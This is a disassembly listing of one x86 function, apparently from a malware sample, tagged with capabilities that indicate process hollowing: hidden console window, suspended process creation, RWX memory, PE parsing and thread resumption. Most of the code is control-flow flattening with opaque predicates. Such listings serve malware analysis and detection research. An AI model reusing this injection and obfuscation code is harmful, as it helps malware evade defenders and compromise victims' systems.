Function at 0x10008760
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x10074c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0x52a147aa
sub edx, 1
add edx, 0x52a147aa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0x30118583
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x807f497e
je 0x1000c9ed
jmp 0x100087db
mov eax, dword [ebp - 0x130]
sub eax, 0x812bbf95
je 0x1000f406
jmp 0x100087f1
mov eax, dword [ebp - 0x130]
sub eax, 0x81426c41
je 0x10014799
jmp 0x10008807
mov eax, dword [ebp - 0x130]
sub eax, 0x8145d2ca
je 0x10014d3e
jmp 0x1000881d
mov eax, dword [ebp - 0x130]
sub eax, 0x814b4ae9
je 0x1001088b
jmp 0x10008833
mov eax, dword [ebp - 0x130]
sub eax, 0x815830ee
je 0x10014c7a
jmp 0x10008849
mov eax, dword [ebp - 0x130]
sub eax, 0x81c3da38
je 0x100145f3
jmp 0x1000885f
mov eax, dword [ebp - 0x130]
sub eax, 0x81c6e5a6
je 0x10014f5f
jmp 0x10008875
mov eax, dword [ebp - 0x130]
sub eax, 0x82595922
je 0x10012d63
jmp 0x1000888b
mov eax, dword [ebp - 0x130]
sub eax, 0x825d5e93
je 0x100152e3
jmp 0x100088a1
mov eax, dword [ebp - 0x130]
sub eax, 0x8292fc09
je 0x1000c977
jmp 0x100088b7
mov eax, dword [ebp - 0x130]
sub eax, 0x834d6fa2
je 0x100155ea
jmp 0x100088cd
mov eax, dword [ebp - 0x130]
sub eax, 0x83998edc
je 0x10015db2
jmp 0x100088e3
mov eax, dword [ebp - 0x130]
sub eax, 0x83a98c32
je 0x1000e535
jmp 0x100088f9
mov eax, dword [ebp - 0x130]
sub eax, 0x842fe61e
je 0x10011215
jmp 0x1000890f
mov eax, dword [ebp - 0x130]
sub eax, 0x855b888a
je 0x100101dc
jmp 0x10008925
mov eax, dword [ebp - 0x130]
sub eax, 0x8560b1b4
je 0x1000d264
jmp 0x1000893b
mov eax, dword [ebp - 0x130]
sub eax, 0x8561bb92
je 0x1000f293
jmp 0x10008951
mov eax, dword [ebp - 0x130]
sub eax, 0x85cd91b6
je 0x10011169
jmp 0x10008967
mov eax, dword [ebp - 0x130]
sub eax, 0x8605c856
je 0x1000f398
jmp 0x1000897d
mov eax, dword [ebp - 0x130]
sub eax, 0x8632dda2
je 0x10015d2e
jmp 0x10008993
mov eax, dword [ebp - 0x130]
sub eax, 0x86684eb6
je 0x10012cc5
jmp 0x100089a9
mov eax, dword [ebp - 0x130]
sub eax, 0x8692a12a
je 0x10014f7d
jmp 0x100089bf
mov eax, dword [ebp - 0x130]
sub eax, 0x8692f126
je 0x100111f4
jmp 0x100089d5
mov eax, dword [ebp - 0x130]
sub eax, 0x86c5ebd8
je 0x10015e15
jmp 0x100089eb
mov eax, dword [ebp - 0x130]
sub eax, 0x86d19a5e
je 0x100159cb
jmp 0x10008a01
mov eax, dword [ebp - 0x130]
sub eax, 0x86d273c6
je 0x1000fd09
jmp 0x10008a17
mov eax, dword [ebp - 0x130]
sub eax, 0x878c6c65
je 0x10010462
jmp 0x10008a2d
mov eax, dword [ebp - 0x130]
sub eax, 0x8811d922
je 0x1000d17c
jmp 0x10008a43
mov eax, dword [ebp - 0x130]
sub eax, 0x8812635e
je 0x1000d7db
jmp 0x10008a59
mov eax, dword [ebp - 0x130]
sub eax, 0x8893da81
je 0x10010990
jmp 0x10008a6f
mov eax, dword [ebp - 0x130]
sub eax, 0x88cb57ad
je 0x10015461
jmp 0x10008a85
mov eax, dword [ebp - 0x130]
sub eax, 0x88e58307
je 0x1000d83e
jmp 0x10008a9b
mov eax, dword [ebp - 0x130]
sub eax, 0x892a7a2c
je 0x10012b4c
jmp 0x10008ab1
mov eax, dword [ebp - 0x130]
sub eax, 0x894a17a4
je 0x1000ce7d
jmp 0x10008ac7
mov eax, dword [ebp - 0x130]
sub eax, 0x897b522a
je 0x100155ba
jmp 0x10008add
mov eax, dword [ebp - 0x130]
sub eax, 0x899588f7
je 0x1000f186
jmp 0x10008af3
mov eax, dword [ebp - 0x130]
sub eax, 0x8a31aeb8
je 0x1000dedc
jmp 0x10008b09
mov eax, dword [ebp - 0x130]
sub eax, 0x8a607b92
je 0x1001392f
jmp 0x10008b1f
mov eax, dword [ebp - 0x130]
sub eax, 0x8a6831c1
je 0x1000ed5e
jmp 0x10008b35
mov eax, dword [ebp - 0x130]
sub eax, 0x8aca545f
je 0x1001335e
jmp 0x10008b4b
mov eax, dword [ebp - 0x130]
sub eax, 0x8aea4e33
je 0x1001608a
jmp 0x10008b61
mov eax, dword [ebp - 0x130]
sub eax, 0x8b69efb8
je 0x100147cc
jmp 0x10008b77
mov eax, dword [ebp - 0x130]
sub eax, 0x8b95e034
je 0x100118b6
jmp 0x10008b8d
mov eax, dword [ebp - 0x130]
sub eax, 0x8c21b1c2
je 0x100106a2
jmp 0x10008ba3
mov eax, dword [ebp - 0x130]
sub eax, 0x8c336843
je 0x1000cf77
jmp 0x10008bb9
mov eax, dword [ebp - 0x130]
sub eax, 0x8c72ff87
je 0x100157af
jmp 0x10008bcf
mov eax, dword [ebp - 0x130]
sub eax, 0x8cc853fb
je 0x10011e7c
jmp 0x10008be5
mov eax, dword [ebp - 0x130]
sub eax, 0x8d0093a6
je 0x1000f195
jmp 0x10008bfb
mov eax, dword [ebp - 0x130]
sub eax, 0x8d43837f
je 0x1000d4a9
jmp 0x10008c11
mov eax, dword [ebp - 0x130]
sub eax, 0x8e3e165e
je 0x1000caab
jmp 0x10008c27
mov eax, dword [ebp - 0x130]
sub eax, 0x8e838a5e
je 0x100124fb
jmp 0x10008c3d
mov eax, dword [ebp - 0x130]
sub eax, 0x8f7a152c
je 0x1000ef62
jmp 0x10008c53
mov eax, dword [ebp - 0x130]
sub eax, 0x8f8877b6
je 0x1000ed20
jmp 0x10008c69
mov eax, dword [ebp - 0x130]
sub eax, 0x8f9114e0
je 0x10012872
jmp 0x10008c7f
mov eax, dword [ebp - 0x130]
sub eax, 0x906c5945
je 0x1001560b
jmp 0x10008c95
mov eax, dword [ebp - 0x130]
sub eax, 0x906ca135
je 0x10011b3f
jmp 0x10008cab
mov eax, dword [ebp - 0x130]
sub eax, 0x90a81c72
je 0x10010df7
jmp 0x10008cc1
mov eax, dword [ebp - 0x130]
sub eax, 0x9117efed
je 0x100141d9
jmp 0x10008cd7
mov eax, dword [ebp - 0x130]
sub eax, 0x91207c60
je 0x10014979
jmp 0x10008ced
mov eax, dword [ebp - 0x130]
sub eax, 0x9124a5be
je 0x10010309
jmp 0x10008d03
mov eax, dword [ebp - 0x130]
sub eax, 0x9137adf3
je 0x10013c27
jmp 0x10008d19
mov eax, dword [ebp - 0x130]
sub eax, 0x9145141e
je 0x10015989
jmp 0x10008d2f
mov eax, dword [ebp - 0x130]
sub eax, 0x9153ff40
je 0x10011afa
jmp 0x10008d45
mov eax, dword [ebp - 0x130]
sub eax, 0x915f0dd4
je 0x1000ee61
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0x9b09e2d2
sub edx, 1
add edx, 0x9b09e2d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec1ebad6
mov ecx, 0x807f497e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec1ebad6
mov ecx, 0x3d05f5cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0xea12fbad
sub edx, 1
sub edx, 0xea12fbad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xadb9c790
mov ecx, 0xb3a84ea2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0x38b823d6
sub edx, 1
add edx, 0x38b823d6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x355874e4
mov ecx, 0x5ad89276
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dword [ebp - 0x12c], 0xbc814f1f
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x74f45ef
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x537ddc70
jmp 0x100161a6
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100234cc]
movss dword [eax], xmm0
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0xf3fc2764
sub edx, 1
sub edx, 0xf3fc2764
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b1b2396
mov ecx, 0xebd574a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100237a4]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x9a9914da
jmp 0x100161a6
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023798]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023794]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x32f80e4d
mov ecx, 0xc127b92b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1002376c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x748e3cfe
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23f50a52
mov ecx, 0x4af0b85a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dl, 1
mov eax, 0x64a176ec
mov ecx, 0x21549da7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023714]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x64a176ec
jmp 0x100161a6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100236f0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x2b5d9475
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x8d0093a6
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0x69694422
sub edx, 1
add edx, 0x69694422
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8c72ff87
mov ecx, 0x595a396f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x963c683
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0x5a64d953
sub edx, 1
add edx, 0x5a64d953
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4d4ce531
mov ecx, 0x76d3f7c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100236e0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x275bab6a
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0x7d43c1fa
sub edx, 1
add edx, 0x7d43c1fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39fd8eec
mov ecx, 0x302e543d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dl, 1
mov eax, 0xe5d5e5b6
mov ecx, 0x77ca8d35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dword [ebp - 0x12c], 0xc88284e9
jmp 0x100161a6
mov dl, 1
mov eax, 0xe1cd38e8
mov ecx, 0x29b33c56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010a0
add esp, 4
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1002367c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10023678]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xe29c22f1
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x592ce72
mov ecx, 0x1f4043af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x492d13e3
mov ecx, 0x1e68564d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
sub edx, 0xc5ab95e9
sub edx, 1
add edx, 0xc5ab95e9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x390f03e9
mov ecx, 0xf066721
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1002342c]
movss dword [eax], xmm0
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x639d693a
mov ecx, 0x28e7935b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023640]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x842fe61e
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0xc88a7da6
sub edx, 1
add edx, 0xc88a7da6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7510e412
mov ecx, 0x73ab56fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0x580d1582
sub edx, 1
sub edx, 0x580d1582
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd0bda19
mov ecx, 0xe87ae9b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100235e8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100235e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100235e0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x906ca135
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe13dde9f
mov ecx, 0xefe46c69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b60d870
mov ecx, 0x23adf54f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dword [ebp - 0x12c], 0xc1200ce5
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x703a3b9d
mov ecx, 0x4bb32377
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35911684
mov ecx, 0xec1e339f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x314dd291
mov ecx, 0x3a1fb940
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dl, 1
mov eax, 0xba5806cc
mov ecx, 0x32674ace
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
sub edx, 0xfe5e1efc
sub edx, 1
add edx, 0xfe5e1efc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x445436f6
mov ecx, 0x93b46248
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dword [ebp - 0x12c], 0xe0961517
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x5b604a32
jmp 0x100161a6
mov dl, byte [ebp - 0x85]
mov eax, 0xaefbe637
mov ecx, 0xef0927df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x70]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x65], al
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
mov edx, eax
add edx, 0xf186fdad
sub edx, 1
sub edx, 0xf186fdad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x176abea
mov ecx, 0xffd5aabb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x12c], 0x8b69efb8
jmp 0x100161a6
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x50]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x54]
mov eax, 0x487b93d6
mov ecx, 0x3fa43f05
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov ecx, dword [0x10075f28]
mov eax, dword [0x10075f24]
mov edx, ecx
add edx, 0x4316384c
sub edx, 1
sub edx, 0x4316384c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbda31bb7
mov ecx, 0xd5ec380c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
sub ecx, 0xdb6d1db9
add ecx, 8
add ecx, 0xdb6d1db9
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x12c], 0x110ecd18
jmp 0x100161a6
mov dl, byte [ebp - 0x25]
mov eax, 0xe0713ab8
mov ecx, 0xd994560d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov dl, byte [ebp - 0x19]
mov eax, 0x4655d57c
mov ecx, 0x8692a12a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
add eax, 0x9ef3988a
add eax, ecx
sub eax, 0x9ef3988a
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x12c], 0xe310f77f
jmp 0x100161a6
mov eax, dword [0x10075f28]
mov ecx, dword [0x10075f24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52c5d7aa
mov ecx, 0x5debc19d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x100161a6
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100234e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100234e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100234dc]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xf559c24e
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x25b3aafc
jmp 0x100161a6
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100234b8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xcd79655
jmp 0x100161a6
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100234b4]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x11e788fd
jmp 0x100161a6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1002348c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x595a396f
jmp 0x100161a6
mov dword [ebp - 0x12c], 0x29bb58d9
jmp 0x100161a6
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10023450]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x3dacb6fd
jmp 0x100161a6
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100233f0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100233ec]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xb413eae0
jmp 0x100161a6
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100233e0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xe17045d8
jmp 0x100161a6
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100233d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100233d0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xf4b30acb
jmp 0x100161a6
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x12c], 0x48e2f333
jmp 0x100161a6
jmp 0x100087bf